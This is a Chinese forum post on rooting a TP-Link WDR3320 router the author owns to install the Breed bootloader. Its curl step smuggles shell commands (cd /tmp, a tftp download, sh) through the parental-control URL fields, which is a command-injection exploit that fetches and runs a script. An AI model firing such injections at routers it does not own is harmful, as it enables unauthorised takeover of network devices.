|
朋友家的wdr3320总是有感叹号上不了网,找了半天没找到原因,应该是原厂固件有bug(看某山论坛上的帖子证实了这一点,这个型号确实有次品流入市场),报修换了带wifi的猫,然后送给他一个翻车讯K1当AP(羡慕土豪朋友家的大房子),把这个垃圾路由拿回来研究。
之前为了下载什么花钱买了个某山论坛的账号,这次又用上了,把内容转过来,稍微解释一下送给需要的朋友(原帖实在是难理解)。
把电脑IP指定为固定ip:192.168.1.100 子网掩码255.255.255.0 网关192.168.1.1后连接路由器,路由器恢复出厂设置,web登录界面设置密码为admin42
1.打开文件夹里面的tftpd32,选择服务器IP 192.168.1.100
2.打开cmd,cd到解压出一堆文件的文件夹
3.输入这个命令:
curl -o - -b "tLargeScreenP=1;subType=pcSub;Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D;ChgPwdSubTag=" --referer "http://192.168.1.1/userRpm/ParentCtrlRpm.htm" "http://192.168.1.1/userRpm/ParentCtrlRpm.htm?ctrl_enable=1&parent_mac_addr=00-00-00-00-00-02&Page=1"
web登录tplink控制面板查看家长控制是否启用且赋予了MAC地址一大堆0,如果是就是成功了
4.输入这个命令:
curl -o - -b "tLargeScreenP=1;subType=pcSub;Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D;ChgPwdSubTag=" --referer "http://192.168.1.1/userRpm/ParentCtrlRpm.htm?Modify=0&Page=1" "http://192.168.1.1/userRpm/ParentCtrlRpm.htm?child_mac=00-00-00-00-00-01&lan_lists=888&url_comment=test&url_0=;cd%20/tmp;&url_1=;tftp%20-gl%20aa%20192.168.1.100;&url_2=;sh%20aa;&url_3=&url_4=&url_5=&url_6=&url_7=&scheds_lists=255&enable=1&Changed=1&SelIndex=0&Page=1&rule_mode=0&Save=%B1%A3+%B4%E6"
正常情况tftpd32会自动开始传输和刷写,耐心等待即可,不要断电切记,不要操作,刷完会自动重启路由器
5.使用winscp把breed文件上传到路由器的/tmp目录,然后SSH登录路由器,执行命令:mtd -r write /tmp/breed-ar9344-wdr3320v2-r1163.bin u-boot
6.进入breed刷入art文件
做中继下载速度大约7M,隔一堵墙,效果还可以
极特殊情况的参考方案(同样来自某山论坛,这段没法解释,没试过):
如果你的这个机器的 ART 的 0x5107 字节是 00 的话,改成01;然后把 0x5102, 0x5103 两位填充为 ffff,保存,刷到机器里,启动
然后在内核日志里找像是 'Bad EEPROM checksum' 这样的,记下后面写的 checksum,填到 ART 的 0x5102, 0x5103 两位上,保存,再刷,再重启,无线就能用了
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有账号?立即注册
x
|